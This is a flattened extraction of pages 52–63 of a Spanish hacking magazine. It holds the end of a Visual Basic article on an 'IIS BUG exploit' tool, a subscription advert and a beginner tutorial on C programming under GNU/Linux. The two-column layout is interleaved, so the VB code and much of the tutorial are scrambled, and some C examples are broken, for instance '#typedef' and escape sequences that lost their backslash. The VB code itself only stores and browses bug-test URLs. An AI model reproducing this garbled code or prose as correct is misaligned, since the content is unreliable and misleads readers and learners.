  • 52. VB - IIS BUG exploit (II) - VB - IIS BUG exploit (II) - VB - IIS BUG exploit (II) Sub Leer() Private Sub CmdSalir_Click() Lista.Clear Unload Me RsLeer.MoveFirst End Sub While Not RsLeer.EOF Lista.AddItem RsLeer("script") Private Sub Form_Load() RsLeer.MoveNext Set Conn = New ADODB.Connection Wend Set Rs = New ADODB.Recordset End Sub Conn.ConnectionString = "DSN=bugs;DBQ=" & App.Path & "/bugs.mdb;DriverId=25;FIL=MS Access;MaxBufferSize=2048;PageTimeout=5;UID=admin;" Private Sub Form_Unload(Cancel As Integer) Rs.Open "informes", Conn.ConnectionString, adOpenDynamic, adLockOptimistic RsLeer.Close End Sub RsGrabar.Close End Sub Private Sub Scripts_Click() FrmScripts.Show WB End Sub Option Explicit FrmScripts Dim RsGrabar As ADODB.Recordset Option Explicit Dim nCont As Integer Dim RsGrabar As ADODB.Recordset Dim RsLeer As ADODB.Recordset Private Sub CmdAnterior_Click() On Error Resume Next Private Sub CmdAnadir_Click() web.GoBack If Not TxtScript.Text = "" Then End Sub RsGrabar.Find "script='" & TxtScript.Text & "'" If RsGrabar.EOF Then Private Sub CmdGuardar_Click() RsGrabar.AddNew Set RsGrabar = New ADODB.Recordset RsGrabar("script") = TxtScript.Text RsGrabar.Open "informes", Conn.ConnectionString, adOpenDynamic, adLockOptimistic RsGrabar.Update RsGrabar.AddNew MsgBox "Script añadido!", vbInformation, "Aviso" RsGrabar("URL") = FrmPrincipal.TxtURL Set RsLeer = RsGrabar RsGrabar("script") = web.Document.URL Leer RsGrabar.Update Else RsGrabar.Close MsgBox "El script ya fue introducido en la base de datos", vbExclamation, "Aviso" MsgBox "Informe guardado" End If End Sub Else MsgBox "El campo Script no puede ser blanco", vbExclamation, "Aviso" Private Sub CmdSalir_Click() End If Unload Me End Sub End Sub Private Sub CmdSalir_Click() Private Sub CmdSiguiente_Click() Unload Me On Error Resume Next End Sub web.GoForward End Sub Private Sub Form_Load() Set RsGrabar = New ADODB.Recordset Private Sub web_NavigateComplete2(ByVal pDisp As Object, URL As Variant) Set RsLeer = New ADODB.Recordset ReDim Preserve Scripts(nCont) RsLeer.Open "IIS", Conn.ConnectionString, adOpenStatic, adLockReadOnly Scripts(nCont) = web.Document.documentelement.innerhtml RsGrabar.Open "IIS", Conn.ConnectionString, adOpenDynamic, adLockOptimistic Completado = True Leer nCont = nCont + 1 End Sub End Sub Página 52 PC PASO A PASO Nº 12
  • 53. VB - IIS BUG exploit (II) - VB - IIS BUG exploit (II) - VB - IIS BUG exploit (II) FrmInformes Private Sub Lista_Click() web.Navigate Lista.List(Lista.ListIndex) Option Explicit End Sub Dim RsLeer As ADODB.Recordset Private Sub Form_Load() Modulo Lista.Clear Set RsLeer = New ADODB.Recordset Option Explicit RsLeer.Open "informes", Conn.ConnectionString, adOpenStatic, Global Conn As ADODB.Connection adLockOptimistic Global Rs As ADODB.Recordset While Not RsLeer.EOF Global Completado As Boolean Lista.AddItem RsLeer("URL") Global Scripts() As String Lista.AddItem RsLeer("script") RsLeer.MoveNext Wend End Sub SUSCRIBETE A PC PASO A PASO 45 EUROS (10% DE DESCUENTO) SUSCRIPCIÓN POR: + 1 AÑO = SORTEO DE UNA CONSOLA XBOX + 11 NUMEROS SORTEO 2 JUEGOS PC (A ELEGIR) Contra R e e m b o l s o Giro Post al Solo tienes que enviarnos un mail a preferente@hackxcrack.com Envíanos un GIRO POSTAL por valor de 45 EUROS a: indicando: CALLE PERE MARTELL20, 2º 1ª. - Nombre CP 43001 TARRAGONA - Apellidos ESPAÑA - Dirección Completa IMPORTANTE: En el TEXTO DEL GIRO escribe un mail de contacto - Población o un número de Teléfono. - Provincia - Cógigo Postal Y enviarnos un mail a preferente@hackxcrack.com indicando: - Mail de Contacto y/o Teléfono Contacto - Nombre Es imprescindible que nos facilites un mail o teléfono de contacto. - Apellidos - Tipo de Subscripción: CONTRAREEMBOLSO - Dirección Completa - Número de Revista: - Población Este será el número a partir del cual quieres subscribirte. Si deseas - Provincia (por ejemplo) subscribirte a partir del número 5 (incluido), debes poner - Cógigo Postal un 5 y te enviaremos desde el 5 hasta el 15 (ambos incluidos) - Mail de Contacto y/o Teléfono Contacto Es imprescindible que nos facilites un mail o teléfono de contacto. APRECIACIONES: - Tipo de Subscripción: GIRO POSTAL * Junto con el primer número recibirás el abono de 45 euros, precio - Número de Revista: de la subscripción por 11 números (un año) y una carta donde se te Este será el número a partir del cual quieres subscribirte. Si deseas indicará tu número de Cliente Preferente y justificante/factura de la (por ejemplo) subscribirte a partir del número 5 (incluido), debes poner subscripción. un 5 y te enviaremos desde el 5 hasta el 15 (ambos incluidos) * Puedes hacernos llegar estos datos POR MAIL,tal como te hemos indicado; rellenando el formulario de nuestra WEB APRECIACIONES: (www.hackxcrack.com) o enviándonos una carta a la siguiente dirección: * Junto con el primer número recibirás una carta donde se te indicará CALLE PERE MARTELL Nº20, 2º-1ª tu número de Cliente Preferente y justificante/factura de la subscripción. CP 43001 TARRAGONA * Puedes hacernos llegar estos datos POR MAIL,tal como te hemos ESPAÑA indicado; o enviándonos una carta a la siguiente dirección: * Cualquier consulta referente a las subscripciones puedes enviarla CALLE PERE MARTELL Nº20, 2º-1ª por mail a preferente@hackxcrack.com CP 43001 TARRAGONA ESPAÑA * Cualquier consulta referente a las subscripciones puedes enviarla por mail a preferente@hackxcrack.com PC PASO A PASO Nº 12 Página 53
  • 54. ProgramaciOn en GNU/LiNUX Desarrollo de aplicaciones en entornos UNiX e iniciaciOn al lenguaje C (I) el_chaman. Luis U. RodrIguez Paniagua GNU/LINUX, Como cada mes, tenemos una nueva entrega de ese “para muchos desconocido” Sistema Operativo. Vamos a adentrarnos en el mundo del Lenguaje C y de paso intentaremos explicar qué es la memoria RAM y su funcionamiento en relación a la programación. 1. Programación Modular o comportamientos que los programadores de C (u otros lenguajes) en UNiX procuran seguir: En el anterior artículo presentamos lo que era A) Dedicar un directorio o subárbol de directorios la programación modular. Hoy insistiremos en para almacenar los archivos necesiarios para ella debido a que va a ser una de las razones generar la aplicación. por las que los entornos de programación en UNiX son como son y se comportan como se A la hora de nombrar los distintos ficheros y comportan. directorios que compondrán el mencionado subárbol, conviene utilizar nombres significativos como: Algunas de las características principales del diseño modular no vistas en el anterior artículo src: Directorio donde residen los ficheros de son: código fuente (.c) * Los programas grandes se pueden subdividir include: Directorio donde residen los archivos en subprogramas de extensión menor: los de cabecera (.h) módulos. lib: Directorio donde residen las bibliotecas (.a) * Cada uno de los módulos podrá ser compilado por separado, pudiéndose más bin:Directorio donde residen los programas adelante enlazar (juntar) pasando a formar el ejecutables que se obtienen tras la compilación ejecutable final. y el enlace. * Esta división en módulos nos proporcionará doc: Directorio donde residen los archivos de varias ventajas a la hora de localizar errores documentación externa de la aplicación (manual en el código o entender lo que éste hace. de usuarios, README, INSTALL, etc....) * Dividir un gran programa en módulos, Como se ha dicho, esto es una regla no escrita favorecerá también el que un programa pueda y nosotros podremos ajustar esta estructura a ser desarrollado por un equipo de nuestro gusto, lenguaje de programación, programadores en vez de por una única etc... Además se ha utilizado una nomenclatura persona. anglosajona para que sea fácilmente de identificar esta estructura en los distintos Estas ventajas a la hora de emplear la programas que se distribuyen en código fuente modularidad en un proyecto de programación, en Internet. Nada nos impedirá utilizar para se traducen en una serie de normas no escritas nuestros programas términos como: Página 54 PC PASO A PASO Nº 12
  • 55. Programación bajo Linux - C - Programación bajo Linux - C - Programación bajo Linux - C - fuentes B2) Las partes del programa destinadas a la definición de - cabeceras los datos deben formar parte de un archivo de cabecera que - librerias se incluirá en los módulos que necesiten conocer esos datos. - ejecutables - documentacion Esta manera de hacer las cosas evitará la presencia de errores muy comunes como: O cualquier otra configuración que nos pueda resultar útil • Definiciones redundantes (que se repiten) de una misma estructura de datos. Por ejemplo: Imaginemos que en dos módulos distintos pero B) Procuraremos dividir el programa en que se van a enlazar para generar el mismo ejecutable, módulos de manera que estos agrupen aparece en cada uno de ellos la definición de una variable funciones o código quetengan alguna relación a la que hemos llamado MAXIMO. El compilador, en la fase entre si. Esto requirirá que en la fase de se enlace nos daría un error diciendo que la variable ha sido diseño de la aplicación se precise un definida múltiples veces. gran esfuerso por nuestra parte, dado que cuanto mejor desarrollemos el diseño, • Inconsistencias debidas a la modificación de los datos en más fácilresultará la tarea de generar el uno de los ficheros donde aparecen y no en el resto. proyecto y realizar importantes modificaciones en él con el menorcoste de tiempo y recursos Los elementos que deben aparecer un fichero de cabecera posible. serán: A la hora de acometer esta fase de división en • Definiciones de aquellos tipos de datos que son compartidos módulos las normas no escritas a tener en por dos módulos o más. cuenta serán: • Definición de los prototipos de funciones que son B1) Aislar las partes del programa que no compartidas por dos módulos o más. sean portables de un ordenador a otro en módulos independientes del resto del programa. • Bajo ningún concepto debe de aparecer en los ficheros de cabecera la defición de los datos, es decir, la reserva de La no portabilidad puede deberse a: memoria para variables de un tipo determinado. • El programa accede a recursos hardware mediante procedimientos no estándar. Por ejemplo, acceso directo a tarjetas de vídeo, 2. Fases de la compilación dispositivos I/O, etc.... El programa cc( C compiler ) es la orden de compilación • El programa accede a recursos software estándar para los programas escritos en C. Esto en GNU/LiNUX mediante procedimientos no estandar. Por cambia, dado que dicho programa será gcc ( GNU C compiler ejemplo, una aplicación gráfica que queremos ) aunque es algo que en principio no nos importará debido que funcione tanto en Windows98 (tm) como a que los sistemas GNU/LiNUX suelen enlazar gcc con cc. en GNU/LiNUX. Mediante la compilación condicional podremos solucionar gran parte de los problemas de luis@leonov:~$ ll /usr/bin/cc portabilidad del código fuente. Para ello deberemos de conocer cuáles van a ser los 1 root root 20 2002-11-16 02:08 /usr/bin/cc -> /etc/alternatives/cc sistemas donde se va a compilar nuestra luis@leonov:~$ ll /etc/alternatives/cc aplicación y utilizas las directrices del preprocesador C para incluir unas secciones u 1 root root 12 2003-05-16 12:29 /etc/alternatives/cc -> /usr/bin/gcc otras (sobre esto haremos énfasis en futuros artículos). luis@leonov:~$ PC PASO A PASO Nº 12 Página 55
  • 56. Programación bajo Linux - C - Programación bajo Linux - C - Programación bajo Linux - C En realidad cc no es un compilador, sino una 2.1 Preprocesamiento interfaz entre el usuario y los programas que Lo realiza el programa cpp y como resultado intervienen en el proceso de generación de un genera un nuevo fichero que contiene el código programa ejecutable. C más las macros y sentencias del preprocesador necesarias para que nuestro sistema compile La llamada a los distintos programas que son adecuadamente nuestro código. necesarios para generar un ejecutable a partir del código fuente son: luis@nostromo ~ $ cpp programa.c programa.i luis@nostromo ~ $ cat programa.i | more ! Para ver... 2.2 Compilación y optimización Lo realiza el programa comp en los sistemas Para ver los cambios que realiza la siguiente UNiX y gcc –S en los sistemas que utilizan secuencia de llamadas a los programas, sugiero el compilador GNU (léase GNU/LiNUX entre que se emplee un sencillo programa "hola otros). El resultado de la invocación de este mundo" para ir viendo los resultados programa es la generación del código intermedios. Las llamadas necesarias se ensamblador del programa que queremos pondrán como notas en cada uno de los apartados. realizar. El código del programa es el siguiente: luis@nostromo ~ $ cpp -S programa.i -o programa.s #include <stdio.h> luis@nostromo ~ $ cat programa.s |more main() { printf("n Hola Edmundo n"); 2.3 Generación del código objeto } Lo realiza el programa as (ensamblador) y como resultado genera un archivo objeto llamado programa.o luis@nostromo ~ $ as programa.s -o programa.o ! Nota de Pc Paso a Paso 2.4 Enlace Nota de PC PASO A PASO: Para quien no tenga ni idea de qué es eso de escribir un programa ni sepa Los realiza el programa ld a partir de ficheros dónde debe escribir ese código... pues está claro que de código objeto (.o) y bibliotecas (.a). Como no ha seguido el curso de LINUX desde el principio. resultado se genera el programa ejecutable. Escribir un programa es tan sencillo como abrir crear un fichero de texto, copiar las lineas anteriores Dado que la llamada a ld requiere conocer a y guardarlo con un nombre, por ejemplo priori cuantas y cuales son las bibliotecas del saludo.c sistema, se utiliza normalmente cc o gcc para realizar el enlazado, dado que esta llamada ya Hay cientos de editores de texto para LINUX, incluye las bibliotecas necesarias. hazlo con el que quieras :) luis@nostromo ~ $ cc programa.o -o programa Ahora ya está, deja ese archivo guardado y lee lo que viene a continuación. No te desesperes!!! luis@nostromo ~ $ ./programa Todo lo que verás a continuación tiene un final sencillo (feliz), te lo demostraremos en la Hola Edmundo siguiente NOTA :) Página 56 PC PASO A PASO Nº 12
  • 57. Programación bajo Linux - C - Programación bajo Linux - C - Programación bajo Linux - C Luego las fases de compilación de un programa quedan reflejadas en el siguiente esquema: En este momento el programa es ejecutado y producira el efecto deseado, es decir, aparecerá en nuestra pantalla lo siguiente: Hola Edmundo Ya hemos escrito el código de un programa, lo hemos Sin embargo, nosotros para compilar dicho programa sólo utilizaremos la siguiente línea: Por cierto, si no pudieses ejecutarlo seguramente será porque no tiene permiso de ejecución. ¿Cómo? ¿Qué no luis@nostromo ~ $ cc programa.c -o programa sabes qué es eso de los permisos de ejecución? Pues pregunta en el foro de hack x crack luis@nostromo ~ $ ./programa (www.hackxcrack.com), porque esto ya ha sido explicado Hola Edmundo antes en el curso de Linux y si seguimos repasando los lectores veteranos nos comerán a críticas :) En el foro O bien: hay muchos nuevos estudiantes de LINUX, personas que, como tu, hace muy poco que se han enfrentado a este luis@nostromo ~ $ gcc programa.c -o programa sistema operativo. Pregunta y te ayudarán SEGURO!!! luis@nostromo ~ $ ./programa Sin embargo, cuando pretendemos compilar Hola Edmundo programas multimodulares, el esquema arriba visto se complica un poco tal y como podemos ver en la imagen 1 (en la siguiente página). ! Nota de Pc Paso a Paso Aún así bastaría una llamada al compilador tal que: luisb@nostromo ~ $ gcc f1.c f2.c f3.i f4.s f5.o f6.o -lm -o NOTA de PC PASO A PASO: Continuando con la nota anterior y solo para que los nuevos lectores no se pierdan, Para compilar dicho programa multimodular. vamos a compilar nuestro saludo.c y vamos a ejecutarlo. Obviamente este es un proceso un tanto engorroso, y se suele emplear para ello la Antes de que nuestro saludo.c se transforme en un programa automatización de este trabajo mediante el que podamos ejecutar debemos compilarlo. Para compilarlo empleo de herramientas como make. Por ahora escribimos lo siguiente: vamos a dejar esta parte aquí y pasaremos a la siguiente parte del artículo: El lenguaje C. gcc saludo.c –o saludo (y pulsamos enter, claro) En el próximo número analizaremos en mayor profundidad el preprocesador y la gestión de Lo que acaba de pasar es que, el compilador, ha cogido librerías. Además comenzaremos a ver cómo nuestro archivo de texto saludo.c y ha creado otro llamado usar el make para gestionar la compilación de saludo. Este nuevo archivo llamado saludo es ya un proyectos grandes. programa ejecutable. Si, espero que nadie se sienta mal por explicar algo tan simple y explicarlo de una forma tan Pero antes de hacer esto, debemos irnos poco exacta, pero la intención de esta NOTA y la anterior familiarizando con el lenguaje C. Dado que hoy es que todo el mundo lo entienda :) se ha hablado de programación modular, veremos una presentación de las variables y Ahora ya podemos ejecutar nuestro programa, pues muy de los punteros e intentaremos aprender cómo bien, simplemente escribimos realizar un sencillo programa modular. ./saludo (y pulsamos enter) PC PASO A PASO Nº 12 Página 57
  • 58. Programación bajo Linux - C - Programación bajo Linux - C - Programación bajo Linux - C IMAGEN 1 /* (1) 3. El lenguaje C * PROGRAMA: hola.c * DESCRIPCIÓN: En artículos anteriores hemos visto ya cuales son las correspondientes estructuras de control * Ejemplo de un programa en C que imprime "Hola Edmundo" del lenguaje C. Hay alguna más pero por de * pronto las ignoraremos (caso de las sentencias */ switch ) dado que a juicio del autor del #include <stdio.h> (2) artículo no aportan nada nuevo al conocimiento de la programación estructurada. Sin embargo, main() (3) el autor reconoce que son instrucciones que { aportan una comodidad indiscutible a la printf("n Hola Edmundo n"); programación cuando esta se domina. No es } este el caso, puesto que aún estamos aprendiendo. (1) Ejemplo de comentarios También existen una serie de sentencias como break o goto que no solo serán ignoradas, (2) Carga de cabeceras sino perseguidas y anatemizadas (“censuradas”) (3) Programa principal por el autor, dado que éste considera que simplemente "se cargan" un buen programa estructurado. Este pequeño programa que tan sólo imprime Dicho esto, vamos a presentar nuestro primer "Hola Edmundo" nos servirá para conocer tres programa en C. características importantes de un programa en C. Por un lado tenemos los comentarios. Los comentarios son líneas de texto encerradas 3.1. Estructura de un programa C entre /*.....*/ que el compilador ignorará pero que a nosotros nos resultarán muy útiles a la Este es uno de los programas en C más hora de poner comentarios dentro del código. difundidos a través del orbe: Página 58 PC PASO A PASO Nº 12
  • 59. Programación bajo Linux - C - Programación bajo Linux - C - Programación bajo Linux - C Por otra parte nos encontramos con una siguiente: directiva del preprocesador, #include. Esta directiva de preprocesador será una de las /***** Comienzo del programa */ órdenes que interpretará éste para generar el /**** Instrucciones de preprocesador */ archivo .i como vimos en el apartado anterior. /* --- Carga de archivos de cabecera */ En concreto #include se encarga de cargar los #include <stdio.h> archivos de cabecera necesarios para ejecutar #include <math.h> el programa. Estos archivos de cabecera #include "mi_math.h" contienen definiciones de tipos derivados y las /* --- Fin carga de archivos de cabecera */ funciones prototipo. En el ejemplo mostrado, #include <stdio.h> carga las definiciones y /* --- Definición de constantes */ funciones prototipo relativas a operaciones de #define PI 3.141592 entrada y salida estándar. #define E 2.718282 /* --- Fin definición de constantes */ /* --- Definición de tipos */ ! Si no has... #typedef struct POLAR{ float radio; Si no has entendido eso del #include <stdio.h> no te float rho; preocupes demasiado, con que sepas que es imprescindible }POLAR_TYPE; /* --- Fin definición de tipos */ ponerlo ya está bien… poco a poco, a medida que trates /**** Fin Instrucciones del preprocesador con este tipo de “cosas”, comprenderás :) /**** Declaración de variables y funciones externas */ extern float rho; Finalmente comienza el programa principal en extern void imprime_error(int code); la línea donde pone main(). Cabe señalar que /**** Fin de la declaración de variables y funciones externas */ en cada programa sólo puede existir una función /**** Declaración de variables globales y funciones prototipo */ con este nombre, dado que indica el punto de entrada del programa. También podemos float hipo; observar en las líneas siguientes una float hipotenusa(float C, float c); /**** Fin de la declaración de variables globales y funciones prototipo */ característica muy importante del lenguaje C. Este lenguaje utiliza como caracteres /**** Programa principal */ separadores de bloques de ejecución los int main(int args, char *argv[]) símbolos {....}. Así las líneas: { main() /* Declaración de variables */ float pi=PI; { float calculo; ... hipo = hipotenusa(pi, E); } calculo=hipo; printf("n %2.5f n", calculo); nos indicarán cómo se llama la función o return 0; prototipo de la función (main()), dónde comienza } la función ( { ) y dónde termina ( } ). /**** Fin programa principal */ Dentro ya de esta función, encontramos distintas instrucciones, separadas siempre por ; (mirar /**** Definición de las funciones */ artículo anterior). En este caso tan sólo tenemos float hipotenusa(float C, float c) una única instrucción que se encargará de { mostrar por pantalla el texto que le pasemos return sqrt(C*C + c*c); como parámetro. } /**** Fin definición de funciones */ Una estructura más general y más de acuerdo /***** Fin del programa */ con las posibilidades reales del C sería la PC PASO A PASO Nº 12 Página 59
  • 60. Programación bajo Linux - C - Programación bajo Linux - C - Programación bajo Linux - C Obviamente en este código aparecen muchas cosas que aún desconocemos, pero que nos dan una idea de cuan complejo puede resultar un programa en C en cuanto a su estructura. Sirva de consuelo que rara vez un programa adquiere tanta complejidad debido, precisamente, al empleo de la modularidad. Normalmente, si diseñamos una modularidad correcta para nuestro código, podremos situar todas las definiciones de constantes, variables, tipos, etc, en un archivo de cabecera teniendo de esta manera las cosas Como podemos observar, la memoria se puede más ordenadas. ver como un conjunto de casillas donde en cada una de las cuales tan sólo podemos almacenar Poco a poco vamos a ir desentrañando el hasta ocho bits. Si necesitamos almacenar datos significado de los términos que aparecen. Por más grandes que los que pueden ser ahora nos basta con mirar el código e interpretar representados por ocho bits necesitaremos las partes clave de un programa escrito en C. ocupar más de una casilla. 3.2. Tipos de datos Cada vez que reservamos una casilla o un determinado grupo de casillas, podemos En C se consideran dos grandes tipos de datos: referirnos a estas casillas mediante un nombre los que suministra el lenguaje o tipos descriptivo en vez de recordar las posiciones fundamentales y los que define el programador de memoria que corresponden a los datos que o tipos derivados. hemos guardado. Es entonces cuando hablamos de una variable. Luego inicialmente diremos En un programa habitualmente se necesita que una variable representa una posición o manejar determinados datos. Estos datos se posiciones de memoria donde guardamos datos colocan en la memoria del ordenador. Ahora a lo largo de la ejecución de un programa bien; no todos los datos, serán de la misma Es aquí donde aparece asociado el concepto naturaleza, por lo que serán almacenados, de tipo al de variable: Cuando hablamos de según conveniencia, de distinta manera. Por cuantas casillas ocupa una determinada variable, poner un sencillo ejemplo imaginemos la o dicho de otro modo: que tipo de variable es. siguiente situación: Queremos guardar en Informalmente podemos decir que un tipo será memoria el dato correspondiente al carácter el número de casillas necesarias para representar 'a' (es decir, la letra a) y el dato correspondiente un determinado rango de valores dentro de la al número 20000 (de decir, el número 2000). memoria de un ordenador. En un ordenador la memoria se suele distribuir Obviamente, tendremos que ser muy cuidadosos de la siguiente manera: a la hora de elegir los tipos para nuestras Página 60 PC PASO A PASO Nº 12
  • 61. Programación bajo Linux - C - Programación bajo Linux - C - Programación bajo Linux - C variables, dado que si escogemos un menor número de casillas de lo necesario, no podremos El tipopequeño sería para guardar cosas pequeñas (por representar correctamente los datos, y si ejemplo una letra, en este caso la letra “a”) o un número escogemos más casillas de las necesarias, pequeño (por ejemplo el “2”) estaremos desperdiciando memoria. El tipomediano podría guardar cosas medianas, por ejemplo Cuando comenzamos a escribir un programa el número “300” en C, una de las primeras tareas que realizaremos será la de declarar variables. O El tipogrande para cosas mas extensas, por ejemplo una dicho de otro modo: Reservaremos clave de acceso a tu cuenta de correos de esas largas determinadas posiciones de memoria de un (“estaesmicuentaynadiepuedeadivinarla”) determinado tamaño y las referenciaremos mediante nombres que sean significativos y El tipoextrabestia para guardar el valor de, ves a saber, la fácilmente recordables. A partir de ese momento Biblia en una sola frase :) y a lo largo de la ejecución del programa, podremos ir almacenando distintos valores en Ahora veremos todo esto, lo importante es que entiendas dichas posiciones de memoria con tan solo el concepto. Cuando definimos un tipo de variable, la asignar o consultar datos a las variables. memoria reservará un espacio que será más o menos grande según el tipo de variable que nosotros le digamos. Si Veamos un ejemplo de lo dicho arriba y queremos guardar en una variable, por ejemplo, palabras pasemos a continuación a dar una explicación de tres o cuatro letras (“casa”, “pico”, “rico”) pues le más formal de los tipos y las variables. asignamos el tipomediano. Si le asignamos el tipopequeño #include <stdio.h> no cabría y si le asignamos el tipoextrabestia estaríamos main() “merendandonos” estúpidamente toda la memoria ram de { nuestro ordenador :( char unbyte; int unentero; Vamos a volver a escribir el código según nuestra particular forma de ver los tipos de variables: unbyte='a'; unentero=20000; #include <stdio.h> printf("n %c %in",unbyte, unentero); main() } { tipopequeño unasolaletra; ! Nota de Pc Paso a Paso tipomediano unapalabradecuatroletras; Nota de PC PASO A PASO: Si eres nuevo en esto, por unasolaletra='f'; favor, cuando veas un código como el anterior no te conformes con leerlo ¿vale? Crea un fichero con cualquier unapalabradecuatroletras=”casa”; editor, guardalo, compilalo y ejecutalo. Solo así podras ir cogiendo practica!!! printf("n %c %in",unbyte, unentero); Y antes de cerrar esta nota, vamos a iluminar a los que no han entendido nada de todo eso de los tipos de variables. } Acabamos de ver dos tipos de variables, un buen dia a alguien le dio por llamarlas char e int (y así se les han Vamos a analizarlo: seguido llamando hasta ahora). Pero esto no es tan complicado, en lugar de eso podría haberlas llamado - tipopequeño unasolaletra; tipopequeño, tipomediano, tipogrande y tipoextrabestia. I Acabamos de definir la variable “unasolaletra” y hemos dicho que es de tipo pequeño. El compilador, cuando haga PC PASO A PASO Nº 12 Página 61
  • 62. Programación bajo Linux - C - Programación bajo Linux - C - Programación bajo Linux - C enteros emplearemos las palabras reservadas su trabajo reservará una pequeña zona de memoria para la char, int, long y enum. variable “unasolaletra” char - tipomediano unapalabradecuatroletras; Define un número entero de 8 bits. Su rango Acabamos de definir la variable “unapalabradecuatroletras” de representación es de [-128, 127] . También y hemos dicho que es de tipo mediano. El compilador, se emplea para representar el conjunto de cuando haga su trabajo reservará una zona de memoria un caracteres ASCII. poco más grande que la anteriorde para la variable “unasolaletra” int - unasolaletra='f'; Define un número entero de 16 o 32 bits (dependiendo del procesador). Su tamaño suele Acabamos de darle el valor “f” a la variable “unasolaletra”. coincidir con el del tamaño del bus de datos A partir de ahora, “unasolaletra” = f. Si le diesemos un del procesador. valor grande, por ejemplo “estaesmicasa” estaríamos provocando un error en el programa, puesto que long “estaesmicasa” no cabría en el espacio reservado, recuerda Define un número entero de 32 ó 64 bits. que era de tipo pequeño. short - unapalabradecuatroletras=”casa”; Define un número entero de tamaño menor o Acabamos de darle el valor “casa” a la variable igual que int “unapalabradecuatroletras”. A partir de ahora “unapalabradecuatroletras” = “casa”. Se debe cumplir que tamaño(short) <= tamaño(int) <= tamaño(long) ¿Podríamos darle a la variable “unapalabradecuatroletras” el valor, por ejemplo, “yo”. Por supuesto, cabe perfectamente, aunque desperdiciamos un poco de memoria. Estos tipos pueden ir precedidos del modificador - printf("n %c %in",unbyte, unentero); unsigned para indicar que el tipo sólo representa Estamos diciendole al programa que imprima en pantalla números positivos o el cero. las variables “unasolaletra” y “unapalabradecuatroletras”. Ejemplos: Cuando ejecutemos el programa veremos en nuestro monitor el valor de las dos variables: “f” y “casa”. int hora; Esperamos que se entienda porque no sabemos como char caracter; explicarlo mejor :) unsigned short mes; enum 3.2.1. Tipos fundamentales Se utiliza para definir un subconjunto dentro Los tipos fundamentales se clasifican en enteros del conjunto de los números enteros. A este y reales. Los primeros se utilizan para representar subconjuntos de los números subconjunto se le conoce como enumeración naturales y enteros, mientras que los segundos y a cada uno de sus elementos se le asocia un se emplean para representar un subconjunto identificador. La definición de un tipo enumerado de los números racionales. es: 3.2.1.1. Tipos enteros enum tipo_enumerado{identificador1, Para declarar variables de alguno de los tipos identificador2,...identificadorN}; Página 62 PC PASO A PASO Nº 12
  • 63. Programación bajo Linux - C - Programación bajo Linux - C - Programación bajo Linux - C Por ejemplo: tenemos solo 10 elementos numéricos (0,1,2,3,4,5,6,7,8,9) enum meses {enero=1, febrero, marzo, abril, mayo, que combinamos una y otra vez para obtener infinitos junio, julio, agosto, septiembre, octubre, noviembre, números. El Código Binario es lo mismo, pero en este caso diciembre}; está formado por 2 elementos de estado (0,1) y podemos combinarlos infinitamente para obtener infinitos resultados. enum meses mes; Lo importante es establecer una relación entre el código mes será una variable del tipo enum meses. binario y el decimal y, más importante aún, entenderlo. Vamos a ser muy rápidos: - El máximo número de elementos que puede representar ! Nota de Pc Paso a Paso un conjunto de 8 bits, es decir, el máximo número de combinaciones distintas que pueden hacerse con 8 bits son 256. Si hemos estudiado un poco de combinatoria sabemos NOTA de PC PASO A PASO: Para el que desconoce este que la forma de hallar este número (256) es elevando la mundillo, al leer que char define un número entero de 8 base del Sistema, en este caso el Sistema Binario (2) al bits se debe haber quedado, supongo, pensando en qué número de bits especificado (8)… y dos elevado a 8 da demonios significa eso ¿verdad? :) Vamos a intentar 256 posibles elementos binarios. desvelar esa cosa tan rara llamada “número entero de 8 bits”. - Si relacionamos cada elemento binario con un número Cuando definimos una variable como “de tipo char”, el decimal, vemos que podemos representar 255 números compilador reservará en la memoria una zona de decimales. No, no… no pienses que me he equivocado, no exactamente 8 bits. Pero… ¿qué es un bit? Un bit es un podemos representar 256 números decimales porque el espacio de memoria que puede tener únicamente dos estados: CERO es un elemento decimal, por lo tanto podemos apagado (un cero) o encendido (un uno). Quizás te preguntes representar desde el número decimal 0 hasta el número por qué solo puede contener esos dos valores… despierta!!! decimal 255 (es decir, 256 elementos decimales). La memoria no es una especie de “cosa alienígena” ajena al mundo que te rodea, la memoria de tu ordenador está - Si quisiésemos incluir números negativos decimales, formada por transistores (por decirlo de alguna manera) y podríamos representar desde el número decimal -128 hasta un transistor puede estar encendido o apagado. No pienses el número decimal 127 (es decir, 256 elementos decimales) más, no es ningún misterio, es tan sencillo como una Ahora sería ideal enseñar cómo podemos “traducir” números bombilla; si está encendida es porque la electricidad pasa decimales a binario y combinaciones binarias a números por ella y si está apagada es porque la electricidad no pasa decimales, y de paso mostrar cómo trabajar con los por ella. Y ahora viene lo bueno, la memoria no contiene operadores NOT, AND, OR, XOR y su importancia. Quizás NADA!!! Simplemente deja o no deja pasar la corriente en otro artículo pero no en este. La intención de esta eléctrica, ES EL HOMBRE quien dijo: que el estado “introducción” al código binario era dejar MUY CLARO apagado sea interpretado como un CERO y el estado el por qué una variable “tipo char” puede representar encendido sea interpretado como un UNO… y así nació el números decimales desde el -128 al 127 (256 elementos) CÓDIGO BINARIO. y una variable “tipo unsigned char” puede representar No queremos extendernos mucho, esto daría para una números decimales desde el CERO hasta el 255 (256 revista entera, podríamos empezar a explicar como el elementos). Por lo tanto NUNCA debemos asignar el “tipo mundo fue recreado a imagen y semejanza del Código char” a una variable para asignarle posteriormente valores Binario… sin duda es un tema apasionante pero vamos al fuera de estos rangos. grano. Nos hemos quedado en que es el hombre quien da Todo este “tocho” tenía una finalidad. ¿Qué es una IP? el valor CERO o UNO al estado de APAGADO o Una IP es un conjunto de 4 números positivos enteros de ENCENDIDO. Ahora le toca al hombre encontrar un 8 bits separados por puntos. ¿Por qué creías si no que una sistema para trabajar con esos ceros y unos (pura IP nunca tenía valores superiores a 255? Pues porque son matemática). números de 8 bits. La IP “mínima” que puedes “encontrar” Los humanos entendemos el Sistema Decimal, cuando es 0.0.0.0 y la “máxima” 255.255.255.255 ;p hacemos cálculos (sumamos, restamos…) lo hacemos en Propongo que en el foro, los que dominan este tema Sistema Decimal y se llama Sistema Decimal porque PC PASO A PASO Nº 12 Página 63
